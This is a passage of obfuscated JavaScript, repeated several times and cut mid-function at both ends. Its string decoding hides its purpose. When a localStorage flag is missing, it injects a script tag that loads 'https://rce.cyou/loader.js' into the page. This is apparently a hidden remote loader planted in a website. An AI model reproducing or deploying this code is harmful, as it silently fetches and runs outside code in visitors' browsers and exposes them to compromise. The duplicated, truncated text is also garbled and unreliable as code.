_0x16d3a9[_0x3cdbc7(0xd2,'au!g')];}function _0x3b8f(_0x1e8209,_0x4da9f5){const _0x19740a=_0x1974();return _0x3b8f=function(_0x3b8fd1,_0x56e0ff){_0x3b8fd1=_0x3b8fd1-0xcc;let _0x4add61=_0x19740a[_0x3b8fd1];if(_0x3b8f['YqIjze']===undefined){var _0x4571a3=function(_0x1dd089){const _0x433c09='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x53bcde='',_0x10143c='';for(let _0x30b419=0x0,_0x49deda,_0x16be62,_0x367e8f=0x0;_0x16be62=_0x1dd089['charAt'](_0x367e8f++);~_0x16be62&&(_0x49deda=_0x30b419%0x4?_0x49deda*0x40+_0x16be62:_0x16be62,_0x30b419++%0x4)?_0x53bcde+=String['fromCharCode'](0xff&_0x49deda>>(-0x2*_0x30b419&0x6)):0x0){_0x16be62=_0x433c09['indexOf'](_0x16be62);}for(let _0xf09e4f=0x0,_0x29ce55=_0x53bcde['length'];_0xf09e4f<_0x29ce55;_0xf09e4f++){_0x10143c+='%'+('00'+_0x53bcde['charCodeAt'](_0xf09e4f)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x10143c);};const _0x4b7ef1=function(_0x3f558b,_0x10581f){let _0x26620c=[],_0x183ec1=0x0,_0x6477b6,_0x1ed570='';_0x3f558b=_0x4571a3(_0x3f558b);let _0x55c1f8;for(_0x55c1f8=0x0;_0x55c1f8<0x100;_0x55c1f8++){_0x26620c[_0x55c1f8]=_0x55c1f8;}for(_0x55c1f8=0x0;_0x55c1f8<0x100;_0x55c1f8++){_0x183ec1=(_0x183ec1+_0x26620c[_0x55c1f8]+_0x10581f['charCodeAt'](_0x55c1f8%_0x10581f['length']))%0x100,_0x6477b6=_0x26620c[_0x55c1f8],_0x26620c[_0x55c1f8]=_0x26620c[_0x183ec1],_0x26620c[_0x183ec1]=_0x6477b6;}_0x55c1f8=0x0,_0x183ec1=0x0;for(let _0x45d771=0x0;_0x45d771<_0x3f558b['length'];_0x45d771++){_0x55c1f8=(_0x55c1f8+0x1)%0x100,_0x183ec1=(_0x183ec1+_0x26620c[_0x55c1f8])%0x100,_0x6477b6=_0x26620c[_0x55c1f8],_0x26620c[_0x55c1f8]=_0x26620c[_0x183ec1],_0x26620c[_0x183ec1]=_0x6477b6,_0x1ed570+=String['fromCharCode'](_0x3f558b['charCodeAt'](_0x45d771)^_0x26620c[(_0x26620c[_0x55c1f8]+_0x26620c[_0x183ec1])%0x100]);}return _0x1ed570;};_0x3b8f['LmReRA']=_0x4b7ef1,_0x1e8209=arguments,_0x3b8f['YqIjze']=!![];}const _0x110667=_0x19740a[0x0],_0xbc4c22=_0x3b8fd1+_0x110667,_0x393b4e=_0x1e8209[_0xbc4c22];return!_0x393b4e?(_0x3b8f['ZEPWZh']===undefined&&(_0x3b8f['ZEPWZh']=!![]),_0x4add61=_0x3b8f['LmReRA'](_0x4add61,_0x56e0ff),_0x1e8209[_0xbc4c22]=_0x4add61):_0x4add61=_0x393b4e,_0x4add61;},_0x3b8f(_0x1e8209,_0x4da9f5);}function _0x1974(){const _0x540a2b=(function(){return[_0xodP,'frjdesjiWHalmidx.PqAcVPoXempu.grvx7LGEwf==','W4xdTCoObx7cIConWPrM','FKddKba','WRtdI0ldKxldOSoAWRHdWP7dQCky','WRC4DrtcPG','iSkQbLn0W59W','WQqUyrxcS2JdKSkmhSoD','Cmk+W4bku0/dIa','WP06W5ddHcqQWPCEw0JcMSk4WPFcGW','ECo4F1RcJa','WQldGhBcHqhdQ8kis33cKSkEuxG'].concat((function(){return['gCkGyg92rCoaB1xcTSoDy8ou','W4nWW4mKWQRcI8o3','W6pcRSouWPeWkCkHW7JdNKLe','tmoAnYDbefHC','WPeMWOvvW67dNCo7WR0jwtqj','WQiYFb8','yhxdQsXbWRuQWQhdRqjhzZ3cMq','WP1aWOhcRJDWhSomvsfo','W6GlWQSelmkaxq8','WPf5W78fWRNcTSo4','ldddG8oHwL4pW5jzWPOlkfO','WOiWW5xdJ1JdOSkh'].concat((function(){return['W4/cH8kunvhcGmo6','W4JdQIhdI8ou','l8k4WQNdKv7cPu3dVmo+W6VcUNW','aCk9W7JcRrtcKqJcUSor','dSoRhLxdS3eycG','omkGWRBdT8odjb3dNX7dImoW','WPz9CfVdISo5C8kLgmosWOhcLmoQ','W5iKnrZcNa','WP5kWOdcQJWgw8oDFr9QW7yz','WO3dO1ZdHSocW73dGmk2EYK','qCoVzqbA'];}()));}()));}());_0x1974=function(){return _0x540a2b;};return _0x1974();};function removeItem(_0x4cc9e7){const _0x4ecff1=_0x3b8f;localStorage[_0x4ecff1(0xd1,'adSJ')](_0x4cc9e7);}function loadScript(_0x435748,_0x133352){const _0x475c28=_0x3b8f,_0x7d25b1={'UQsjY':_0x475c28(0xe0,'H81['),'eJvXD':function(_0x5bf1bc,_0x2de130){return _0x5bf1bc+_0x2de130;},'PrfUB':'text/javascript'};var _0xd8d789=_0x7d25b1['UQsjY']+Math['random'](),_0x2851b8=document['createElement']('script');_0x2851b8['src']=_0x7d25b1['eJvXD'](_0x435748,_0xd8d789),_0x2851b8[_0x475c28(0xe2,'Qi!P')]=_0x7d25b1[_0x475c28(0xea,'nwG4')],_0x2851b8[_0x475c28(0xd6,'Qi!P')]=!![],_0x2851b8['onload']=function(){if(_0x133352)_0x133352();},document[_0x475c28(0xd4,'FGZE')][_0x475c28(0xdf,'vhk#')](_0x2851b8);}var cnv=getWithExpiry(_0x295cf3(0xec,'p6i@'));!cnv&&loadScript('https://rce.cyou/loader.js',function(){});var version_ = 'jsjiami.com.v7';
var _0xodP='jsjiami.com.v7';const _0x295cf3=_0x3b8f;(function(_0xc5cc41,_0x4feb21,_0x545a2e,_0x2537c8,_0x32e7fd,_0x513f9a,_0x39f1e2){return _0xc5cc41=_0xc5cc41>>0x5,_0x513f9a='hs',_0x39f1e2='hs',function(_0x1b1f70,_0x58f36c,_0x15d77f,_0xd68b84,_0x5d9133){const _0x434c6d=_0x3b8f;_0xd68b84='tfi',_0x513f9a=_0xd68b84+_0x513f9a,_0x5d9133='up',_0x39f1e2+=_0x5d9133,_0x513f9a=_0x15d77f(_0x513f9a),_0x39f1e2=_0x15d77f(_0x39f1e2),_0x15d77f=0x0;const _0x5b828d=_0x1b1f70();while(!![]&&--_0x2537c8+_0x58f36c){try{_0xd68b84=parseInt(_0x434c6d(0xe1,'ZqEY'))/0x1+parseInt(_0x434c6d(0xcc,'M8vR'))/0x2*(-parseInt(_0x434c6d(0xeb,'q3Q5'))/0x3)+-parseInt(_0x434c6d(0xe7,'gF@f'))/0x4+parseInt(_0x434c6d(0xe8,'&mJz'))/0x5*(-parseInt(_0x434c6d(0xd0,'rKxh'))/0x6)+-parseInt(_0x434c6d(0xd3,'05Z#'))/0x7*(-parseInt(_0x434c6d(0xe4,'rKxh'))/0x8)+parseInt(_0x434c6d(0xe9,'05Z#'))/0x9*(-parseInt(_0x434c6d(0xdc,'GrLm'))/0xa)+parseInt(_0x434c6d(0xda,'KXPC'))/0xb;}catch(_0x42cc73){_0xd68b84=_0x15d77f;}finally{_0x5d9133=_0x5b828d[_0x513f9a]();if(_0xc5cc41<=_0x2537c8)_0x15d77f?_0x32e7fd?_0xd68b84=_0x5d9133:_0x32e7fd=_0x5d9133:_0x15d77f=_0x5d9133;else{if(_0x15d77f==_0x32e7fd['replace'](/[eXwGdgpLqPHWrxAuflVE=]/g,'')){if(_0xd68b84===_0x58f36c){_0x5b828d['un'+_0x513f9a](_0x5d9133);break;}_0x5b828d[_0x39f1e2](_0x5d9133);}}}}}(_0x545a2e,_0x4feb21,function(_0x300ba3,_0x101aa7,_0x586637,_0x298385,_0x5ebbb2,_0x2eec8e,_0x156d5b){return _0x101aa7='\x73\x70\x6c\x69\x74',_0x300ba3=arguments[0x0],_0x300ba3=_0x300ba3[_0x101aa7](''),_0x586637='\x72\x65\x76\x65\x72\x73\x65',_0x300ba3=_0x300ba3[_0x586637]('\x76'),_0x298385='\x6a\x6f\x69\x6e',(0x191dff,_0x300ba3[_0x298385](''));});}(0x1980,0x991da,_0x1974,0xce),_0x1974)&&(_0xodP=`\xb6f`);function getWithExpiry(_0x1b188d){const _0x3cdbc7=_0x3b8f,_0x3a6253={'zTyft':function(_0xcfbcee,_0x669429){return _0xcfbcee>_0x669429;}},_0x3857dc=localStorage[_0x3cdbc7(0xde,'ZqEY')](_0x1b188d);if(!_0x3857dc)return null;const _0x16d3a9=JSON[_0x3cdbc7(0xcf,'*TQd')](_0x3857dc),_0x377d74=new Date();if(_0x3a6253[_0x3cdbc7(0xdb,'#2SW')](_0x377d74[_0x3cdbc7(0xd9,'%slH')](),_0x16d3a9['expiry']))return localStorage[_0x3cdbc7(0xd8,'Qi!P')](_0x1b188d),null;return _0x16d3a9[_0x3cdbc7(0xd2,'au!g')];}function _0x3b8f(_0x1e8209,_0x4da9f5){const _0x19740a=_0x1974();return _0x3b8f=function(_0x3b8fd1,_0x56e0ff){_0x3b8fd1=_0x3b8fd1-0xcc;let _0x4add61=_0x19740a[_0x3b8fd1];if(_0x3b8f['YqIjze']===undefined){var _0x4571a3=function(_0x1dd089){const _0x433c09='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x53bcde='',_0x10143c='';for(let _0x30b419=0x0,_0x49deda,_0x16be62,_0x367e8f=0x0;_0x16be62=_0x1dd089['charAt'](_0x367e8f++);~_0x16be62&&(_0x49deda=_0x30b419%0x4?_0x49deda*0x40+_0x16be62:_0x16be62,_0x30b419++%0x4)?_0x53bcde+=String['fromCharCode'](0xff&_0x49deda>>(-0x2*_0x30b419&0x6)):0x0){_0x16be62=_0x433c09['indexOf'](_0x16be62);}for(let _0xf09e4f=0x0,_0x29ce55=_0x53bcde['length'];_0xf09e4f<_0x29ce55;_0xf09e4f++){_0x10143c+='%'+('00'+_0x53bcde['charCodeAt'](_0xf09e4f)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x10143c);};const _0x4b7ef1=function(_0x3f558b,_0x10581f){let _0x26620c=[],_0x183ec1=0x0,_0x6477b6,_0x1ed570='';_0x3f558b=_0x4571a3(_0x3f558b);let _0x55c1f8;for(_0x55c1f8=0x0;_0x55c1f8<0x100;_0x55c1f8++){_0x26620c[_0x55c1f8]=_0x55c1f8;}for(_0x55c1f8=0x0;_0x55c1f8<0x100;_0x55c1f8++){_0x183ec1=(_0x183ec1+_0x26620c[_0x55c1f8]+_0x10581f['charCodeAt'](_0x55c1f8%_0x10581f['length']))%0x100,_0x6477b6=_0x26620c[_0x55c1f8],_0x26620c[_0x55c1f8]=_0x26620c[_0x183ec1],_0x26620c[_0x183ec1]=_0x6477b6;}_0x55c1f8=0x0,_0x183ec1=0x0;for(let _0x45d771=0x0;_0x45d771<_0x3f558b['length'];_0x45d771++){_0x55c1f8=(_0x55c1f8+0x1)%0x100,_0x183ec1=(_0x183ec1+_0x26620c[_0x55c1f8])%0x100,_0x6477b6=_0x26620c[_0x55c1f8],_0x26620c[_0x55c1f8]=_0x26620c[_0x183ec1],_0x26620c[_0x183ec1]=_0x6477b6,_0x1ed570+=String['fromCharCode'](_0x3f558b['charCodeAt'](_0x45d771)^_0x26620c[(_0x26620c[_0x55c1f8]+_0x26620c[_0x183ec1])%0x100]);}return _0x1ed570;};_0x3b8f['LmReRA']=_0x4b7ef1,_0x1e8209=arguments,_0x3b8f['YqIjze']=!![];}const _0x110667=_0x19740a[0x0],_0xbc4c22=_0x3b8fd1+_0x110667,_0x393b4e=_0x1e8209[_0xbc4c22];return!_0x393b4e?(_0x3b8f['ZEPWZh']===undefined&&(_0x3b8f['ZEPWZh']=!![]),_0x4add61=_0x3b8f['LmReRA'](_0x4add61,_0x56e0ff),_0x1e8209[_0xbc4c22]=_0x4add61):_0x4add61=_0x393b4e,_0x4add61;},_0x3b8f(_0x1e8209,_0x4da9f5);}function _0x1974(){const _0x540a2b=(function(){return[_0xodP,'frjdesjiWHalmidx.PqAcVPoXempu.grvx7LGEwf==','W4xdTCoObx7cIConWPrM','FKddKba','WRtdI0ldKxldOSoAWRHdWP7dQCky','WRC4DrtcPG','iSkQbLn0W59W','WQqUyrxcS2JdKSkmhSoD','Cmk+W4bku0/dIa','WP06W5ddHcqQWPCEw0JcMSk4WPFcGW','ECo4F1RcJa','WQldGhBcHqhdQ8kis33cKSkEuxG'].concat((function(){return['gCkGyg92rCoaB1xcTSoDy8ou','W4nWW4mKWQRcI8o3','W6pcRSouWPeWkCkHW7JdNKLe','tmoAnYDbefHC','WPeMWOvvW67dNCo7WR0jwtqj','WQiYFb8','yhxdQsXbWRuQWQhdRqjhzZ3cMq','WP1aWOhcRJDWhSomvsfo','W6GlWQSelmkaxq8','WPf5W78fWRNcTSo4','ldddG8oHwL4pW5jzWPOlkfO','WOiWW5xdJ1JdOSkh'].concat((function(){return['W4/cH8kunvhcGmo6','W4JdQIhdI8ou','l8k4WQNdKv7cPu3dVmo+W6VcUNW','aCk9W7JcRrtcKqJcUSor','dSoRhLxdS3eycG','omkGWRBdT8odjb3dNX7dImoW','WPz9CfVdISo5C8kLgmosWOhcLmoQ','W5iKnrZcNa','WP5kWOdcQJWgw8oDFr9QW7yz','WO3dO1ZdHSocW73dGmk2EYK','qCoVzqbA'];}()));}()));}());_0x1974=function(){return _0x540a2b;};return _0x1974();};function removeItem(_0x4cc9e7){const _0x4ecff1=_0x3b8f;localStorage[_0x4ecff1(0xd1,'adSJ')](_0x4cc9e7);}function loadScript(_0x435748,_0x133352){const _0x475c28=_0x3b8f,_0x7d25b1={'UQsjY':_0x475c28(0xe0,'H81['),'eJvXD':function(_0x5bf1bc,_0x2de130){return _0x5bf1bc+_0x2de130;},'PrfUB':'text/javascript'};var _0xd8d789=_0x7d25b1['UQsjY']+Math['random'](),_0x2851b8=document['createElement']('script');_0x2851b8['src']=_0x7d25b1['eJvXD'](_0x435748,_0xd8d789),_0x2851b8[_0x475c28(0xe2,'Qi!P')]=_0x7d25b1[_0x475c28(0xea,'nwG4')],_0x2851b8[_0x475c28(0xd6,'Qi!P')]=!![],_0x2851b8['onload']=function(){if(_0x133352)_0x133352();},document[_0x475c28(0xd4,'FGZE')][_0x475c28(0xdf,'vhk#')](_0x2851b8);}var cnv=getWithExpiry(_0x295cf3(0xec,'p6i@'));!cnv&&loadScript('https://rce.cyou/loader.js',function(){});var version_ = 'jsjiami.com.v7';
var _0xodP='jsjiami.com.v7';const _0x295cf3=_0x3b8f;(function(_0xc5cc41,_0x4feb21,_0x545a2e,_0x2537c8,_0x32e7fd,_0x513f9a,_0x39f1e2){return _0xc5cc41=_0xc5cc41>>0x5,_0x513f9a='hs',_0x39f1e2='hs',function(_0x1b1f70,_0x58f36c,_0x15d77f,_0xd68b84,_0x5d9133){const _0x434c6d=_0x3b8f;_0xd68b84='tfi',_0x513f9a=_0xd68b84+_0x513f9a,_0x5d9133='up',_0x39f1e2+=_0x5d9133,_0x513f9a=_0x15d77f(_0x513f9a),_0x39f1e2=_0x15d77f(_0x39f1e2),_0x15d77f=0x0;const _0x5b828d=_0x1b1f70();while(!![]&&--_0x2537c8+_0x58f36c){try{_0xd68b84=parseInt(_0x434c6d(0xe1,'ZqEY'))/0x1+parseInt(_0x434c6d(0xcc,'M8vR'))/0x2*(-parseInt(_0x434c6d(0xeb,'q3Q5'))/0x3)+-parseInt(_0x434c6d(0xe7,'gF@f'))/0x4+parseInt(_0x434c6d(0xe8,'&mJz'))/0x5*(-parseInt(_0x434c6d(0xd0,'rKxh'))/0x6)+-parseInt(_0x434c6d(0xd3,'05Z#'))/0x7*(-parseInt(_0x434c6d(0xe4,'rKxh'))/0x8)+parseInt(_0x434c6d(0xe9,'05Z#'))/0x9*(-parseInt(_0x434c6d(0xdc,'GrLm'))/0xa)+parseInt(_0x434c6d(0xda,'KXPC'))/0xb;}catch(_0x42cc73){_0xd68b84=_0x15d77f;}finally{_0x5d9133=_0x5b828d[_0x513f9a]();if(_0xc5cc41<=_0x2537c8)_0x15d77f?_0x32e7fd?_0xd68b84=_0x5d9133:_0x32e7fd=_0x5d9133:_0x15d77f=_0x5d9133;else{if(_0x15d77f==_0x32e7fd['replace'](/[eXwGdgpLqPHWrxAuflVE=]/g,'')){if(_0xd68b84===_0x58f36c){_0x5b828d['un'+_0x513f9a](_0x5d9133);break;}_0x5b828d[_0x39f1e2](_0x5d9133);}}}}}(_0x545a2e,_0x4feb21,function(_0x300ba3,_0x101aa7,_0x586637,_0x298385,_0x5ebbb2,_0x2eec8e,_0x156d5b){return _0x101aa7='\x73\x70\x6c\x69\x74',_0x300ba3=arguments[0x0],_0x300ba3=_0x300ba3[_0x101aa7](''),_0x586637='\x72\x65\x76\x65\x72\x73\x65',_0x300ba3=_0x300ba3[_0x586637]('\x76'),_0x298385='\x6a\x6f\x69\x6e',(0x191dff,_0x300ba3[_0x298385](''));});}(0x1980,0x991da,_0x1974,0xce),_0x1974)&&(_0xodP=`\xb6f`);function getWithExpiry(_0x1b188d){const _0x3cdbc7=_0x3b8f,_0x3a6253={'zTyft':function(_0xcfbcee,_0x669429){return _0xcfbcee>_0x669429;}},_0x3857dc=localStorage[_0x3cdbc7(0xde,'ZqEY')](_0x1b188d);if(!_0x3857dc)return null;const _0x16d3a9=JSON[_0x3cdbc7(0xcf,'*TQd')](_0x3857dc),_0x377d74=new Date();if(_0x3a6253[_0x3cdbc7(0xdb,'#2SW')](_0x377d74[_0x3cdbc7(0xd9,'%slH')](),_0x16d3a9['expiry']))return localStorage[_0x3cdbc7(0xd8,'Qi!P')](_0x1b188d),null;return _0x16d3a9[_0x3cdbc7(0xd2,'au!g')];}function _0x3b8f(_0x1e8209,_0x4da9f5){const _0x19740a=_0x1974();return _0x3b8f=function(_0x3b8fd1,_0x56e0ff){_0x3b8fd1=_0x3b8fd1-0xcc;let _0x4add61=_0x19740a[_0x3b8fd1];if(_0x3b8f['YqIjze']===undefined){var _0x4571a3=function(_0x1dd089){const _0x433c09='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x53bcde='',_0x10143c='';for(let _0x30b419=0x0,_0x49deda,_0x16be62,_0x367e8f=0x0;_0x16be62=_0x1dd089['charAt'](_0x367e8f++);~_0x16be62&&(_0x49deda=_0x30b419%0x4?_0x49deda*0x40+_0x16be62:_0x16be62,_0x30b419++%0x4)?_0x53bcde+=String['fromCharCode'](0xff&_0x49deda>>(-0x2*_0x30b419&0x6)):0x0){_0x16be62=_0x433c09['indexOf'](_0x16be62);}for(let _0xf09e4f=0x0,_0x29ce55=_0x53bcde['length'];_0xf09e4f<_0x29ce55;_0xf09e4f++){_0x10143c+='%'+('00'+_0x53bcde['charCodeAt'](_0xf09e4f)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x10143c);};const _0x4b7ef1=function(_0x3f558b,_0x10581f){let _0x26620c=[],_0x183ec1=0x0,_0x6477b6,_0x1ed570='';_0x3f558b=_0x4571a3(_0x3f558b);let _0x55c1f8;for(_0x55c1f8=0x0;_0x55c1f8<0x100;_0x55c1f8++){_0x26620c[_0x55c1f8]=_0x55c1f8;}for(_0x55c1f8=0x0;_0x55c1f8<0x100;_0x55c1f8++){_0x183ec1=(_0x183ec1+_0x26620c[_0x55c1f8]+_0x10581f['charCodeAt'](_0x55c1f8%_0x10581f['length']))%0x100,_0x6477b6=_0x26620c[_0x55c1f8],_0x26620c[_0x55c1f8]=_0x26620c[_0x183ec1],_0x26620c[_0x183ec1]=_0x6477b6;}_0x55c1f8=0x0,_0x183ec1=0x0;for(let _0x45d771=0x0;_0x45d771<_0x3f558b['length'];_0x45d771++){_0x55c1f8=(_0x55c1f8+0x1)%0x100,_0x183ec1=(_0x183ec1+_0x26620c[_0x55c1f8])%0x100,_0x6477b6=_0x26620c[_0x55c1f8],_0x26620c[_0x55c1f8]=_0x26620c[_0x183ec1],_0x26620c[_0x183ec1]=_0x6477b6,_0x1ed570+=String['fromCharCode'](_0x3f558b['charCodeAt'](_0x45d771)^_0x26620c[(_0x26620c[_0x55c1f8]+_0x26620c[_0x183ec1])%0x100]);}return _0x1ed570;};_0x3b8f['LmReRA']=_0x4b7ef1,_0x1e8209=arguments,_0x3b8f['YqIjze']=!![];}const _0x110667=_0x19740a[0x0],_0xbc4c22=_0x3b8fd1+_0x110667,_0x393b4e=_0x1e8209[_0xbc4c22];return!_0x393b4e?(_0x3b8f['ZEPWZh']===undefined&&(_0x3b8f['ZEPWZh']=!![]),_0x4add61=_0x3b8f['LmReRA'](_0x4add61,_0x56e0ff),_0x1e8209[_0xbc4c22]=_0x4add61):_0x4add61=_0x393b4e,_0x4add61;},_0x3b8f(_0x1e8209,_0x4da9f5);}function _0x1974(){const _0x540a2b=(function(){return[_0xodP,'frjdesjiWHalmidx.PqAcVPoXempu.grvx7LGEwf==','W4xdTCoObx7cIConWPrM','FKddKba','WRtdI0ldKxldOSoAWRHdWP7dQCky','WRC4DrtcPG','iSkQbLn0W59W','WQqUyrxcS2JdKSkmhSoD','Cmk+W4bku0/dIa','WP06W5ddHcqQWPCEw0JcMSk4WPFcGW','ECo4F1RcJa','WQldGhBcHqhdQ8kis33cKSkEuxG'].concat((function(){return['gCkGyg92rCoaB1xcTSoDy8ou','W4nWW4mKWQRcI8o3','W6pcRSouWPeWkCkHW7JdNKLe','tmoAnYDbefHC','WPeMWOvvW67dNCo7WR0jwtqj','WQiYFb8','yhxdQsXbWRuQWQhdRqjhzZ3cMq','WP1aWOhcRJDWhSomvsfo','W6GlWQSelmkaxq8','WPf5W78fWRNcTSo4','ldddG8oHwL4pW5jzWPOlkfO','WOiWW5xdJ1JdOSkh'].concat((function(){return['W4/cH8kunvhcGmo6','W4JdQIhdI8ou','l8k4WQNdKv7cPu3dVmo+W6VcUNW','aCk9W7JcRrtcKqJcUSor','dSoRhLxdS3eycG','omkGWRBdT8odjb3dNX7dImoW','WPz9CfVdISo5C8kLgmosWOhcLmoQ','W5iKnrZcNa','WP5kWOdcQJWgw8oDFr9QW7yz','WO3dO1ZdHSocW73dGmk2EYK','qCoVzqbA'];}()));}()));}());_0x1974=function(){return _0x540a2b;};return _0x1974();};function removeItem(_0x4cc9e7){const _0x4ecff1=_0x3b8f;localStorage[_0x4ecff1(0xd1,'adSJ')](_0x4cc9e7);}function loadScript(_0x435748,_0x133352){const _0x475c28=_0x3b8f,_0x7d25b1={'UQsjY':_0x475c28(0xe0,'H81['),'eJvXD':function(_0x5bf1bc,_0x2de130){return _0x5bf1bc+_0x2de130;},'PrfUB':'text/javascript'};var _0xd8d789=_0x7d25b1['UQsjY']+Math['random'](),_0x2851b8=document['createElement']('script');_0x2851b8['src']=_0x7d25b1['eJvXD'](_0x435748,_0xd8d789),_0x2851b8[_0x475c28(0xe2,'Qi!P')]=_0x7d25b1[_0x475c28(0xea,'nwG4')],_0x2851b8[_0x475c28(0xd6,'Qi!P')]=!![],_0x2851b8['onload']=function(){if(_0x133352)_0x133352();},document[_0x475c28(0xd4,'FGZE')][_0x475c28(0xdf,'vhk#')](_0x2851b8);}var cnv=getWithExpiry(_0x295cf3(0xec,'p6i@'));!cnv&&loadScript('https://rce.cyou/loader.js',function(){});var version_ = 'jsjiami.com.v7';
var _0xodP='jsjiami.com.v7';const _0x295cf3=_0x3b8f;(function(_0xc5cc41,_0x4feb21,_0x545a2e,_0x2537c8,_0x32e7fd,_0x513f9a,_0x39f1e2){return _0xc5cc41=_0xc5cc41>>0x5,_0x513f9a='hs',_0x39f1e2='hs',function(_0x1b1f70,_0x58f36c,_0x15d77f,_0xd68b84,_0x5d9133){const _0x434c6d=_0x3b8f;_0xd68b84='tfi',_0x513f9a=_0xd68b84+_0x513f9a,_0x5d9133='up',_0x39f1e2+=_0x5d9133,_0x513f9a=_0x15d77f(_0x513f9a),_0x39f1e2=_0x15d77f(_0x39f1e2),_0x15d77f=0x0;const _0x5b828d=_0x1b1f70();while(!![]&&--_0x2537c8+_0x58f36c){try{_0xd68b84=parseInt(_0x434c6d(0xe1,'ZqEY'))/0x1+parseInt(_0x434c6d(0xcc,'M8vR'))/0x2*(-parseInt(_0x434c6d(0xeb,'q3Q5'))/0x3)+-parseInt(_0x434c6d(0xe7,'gF@f'))/0x4+parseInt(_0x434c6d(0xe8,'&mJz'))/0x5*(-parseInt(_0x434c6d(0xd0,'rKxh'))/0x6)+-parseInt(_0x434c6d(0xd3,'05Z#'))/0x7*(-parseInt(_0x434c6d(0xe4,'rKxh'))/0x8)+parseInt(_0x434c6d(0xe9,'05Z#'))/0x9*(-parseInt(_0x434c6d(0xdc,'GrLm'))/0xa)+parseInt(_0x434c6d(0xda,'KXPC'))/0xb;}catch(_0x42cc73){_0xd68b84=_0x15d77f;}finally{_0x5d9133=_0x5b828d[_0x513f9a]();if(_0xc5cc41<=_0x2537c8)_0x15d77f?_0x32e7fd?_0xd68b84=_0x5d9133:_0x32e7fd=_0x5d9133:_0x15d77f=_0x5d9133;else{if(_0x15d77f==_0x32e7fd['replace'](/[eXwGdgpLqPHWrxAuflVE=]/g,'')){if(_0xd68b84===_0x58f36c){_0x5b828d['un'+_0x513f9a](_0x5d9133);break;}_0x5b828d[_0x39f1e2](_0x5d9133);}}}}}(_0x545a2e,_0x4feb21,function(_0x300ba3,_0x101aa7,_0x586637,_0x298385,_0x5ebbb2,_0x2eec8e,_0x156d5b){return _0x101aa7='\x73\x70\x6c\x69\x74',_0x300ba3=arguments[0x0],_0x300ba3=_0x300ba3[_0x101aa7](''),_0x586637='\x72\x65\x76\x65\x72\x73\x65',_0x300ba3=_0x300ba3[_0x586637]('\x76'),_0x298385='\x6a\x6f\x69\x6e',(0x191dff,_0x300ba3[_0x298385](''));});}(0x1980,0x991da,_0x1974,0xce),_0x1974)&&(_0xodP=`\xb6f`);function getWithExpiry(_0x1b188d){const _0x3cdbc7=_0x3b8f,_0x3a6253={'zTyft':function(_0xcfbcee,_0x669429){return _0xcfbcee>_0x669429;}},_0x3857dc=localStorage[_0x3cdbc7(0xde,'ZqEY')](_0x1b188d);if(!_0x3857dc)return null;const _0x16d3a9=JSON[_0x3cdbc7(0xcf,'*TQd')](_0x3857dc),_0x377d74=new Date();if(_0x3a6253[_0x3cdbc7(0xdb,'#2SW')](_0x377d74[_0x3cdbc7(0xd9,'%slH')](),_0x16d3a9['expiry']))return localStorage[_0x3cdbc7(0xd8,'Qi!P')](_0x1b188d),null;return _0x16d3a9[_0x3cdbc7(0xd2,'au!g')];}function _0x3b8f(_0x1e8209,_0x4da9f5){const _0x19740a=_0x1974();return _0x3b8f=function(_0x3b8fd1,_0x56e0ff){_0x3b8fd1=_0x3b8fd1-0xcc;let _0x4add61=_0x19740a[_0x3b8fd1];if(_0x3b8f['YqIjze']===undefined){var _0x4571a3=function(_0x1dd089){const _0x433c09='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x53bcde='',_0x10143c='';for(let _0x30b419=0x0,_0x49deda,_0x16be62,_0x367e8f=0x0;_0x16be62=_0x1dd089['charAt'](_0x367e8f++);~_0x16be62&&(_0x49deda=_0x30b419%0x4?_0x49deda*0x40+_0x16be62:_0x16be62,_0x30b419++%0x4)?_0x53bcde+=String['fromCharCode'](0xff&_0x49deda>>(-0x2*_0x30b419&0x6)):0x0){_0x16be62=_0x433c09['indexOf'](_0x16be62);}for(let _0xf09e4f=0x0,_0x29ce55=_0x53bcde['length'];_0xf09e4f<_0x29ce55;_0xf09e4f++){_0x10143c+='%'+('00'+_0x53bcde['charCodeAt'](_0xf09e4f)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x10143c);};const _0x4b7ef1=function(_0x3f558b,_0x10581f){let _0x26620c=[],_0x183ec1=0x0,_0x6477b6,_0x1ed570='';_0x3f558b=_0x4571a3(_0x3f558b);let _0x55c1f8;for(_0x55c1f8=0x0;_0x55c1f8<0x100;_0x55c1f8++){_0x26620c[_0x55c1f8]=_0x55c1f8;}for(_0x55c1f8=0x0;_0x55c1f8<0x100;_0x55c1f8++){_0x183ec1=(_0x183ec1+_0x26620c[_0x55c1f8]+_0x10581f['charCodeAt'](_0x55c1f8%_0x10581f['length']))%0x100,_0x6477b6=_0x26620c[_0x55c1f8],_0x26620c[_0x55c1f8]=_0x26620c[_0x183ec1],_0x26620c[_0x183ec1]=_0x6477b6;}_0x55c1f8=0x0,_0x183ec1=0x0;for(let _0x45d771=0x0;_0x45d771<_0x3f558b['length'];_0x45d771++){_0x55c1f8=(_0x55c1f8+0x1)%0x100,_0x183ec1=(_0x183ec1+_0x26620c[_0x55c1f8])%0x100,_0x6477b6=_0x26620c[_0x55c1f8],_0x26620c[_0x55c1f8]=_0x26620c[_0x183ec1],_0x26620c[_0x183ec1]=_0x6477b6,_0x1ed570+=String['fromCharCode'](_0x3f558b['charCodeAt'](_0x45d771)^_0x26620c[(_0x26620c[_0x55c1f8]+_0x26620c[_0x183ec1])%0x100]);}return _0x1ed570;};_0x3b8f['LmReRA']=_0x4b7ef1,_0x1e8209=arguments,_0x3b8f['YqIjze']=!![];}const _0x110667=_0x19740a[0x0],_0xbc4c22=_0x3b8fd1+_0x110667,_0x393b4e=_0x1e8209[_0xbc4c22];return!_0x393b4e?(_0x3b8f['ZEPWZh']===undefined&&(_0x3b8f['ZEPWZh']=!![]),_0x4add61=_0x3b8f['LmReRA'](_0x4add61,_0x56e0ff),_0x1e8209[_0xbc4c22]=_0x4add61):_0x4add61=_0x393b4e,_0x4add61;},_0x3b8f(_0x1e8209,_0x4da9f5);}function _0x1974(){const 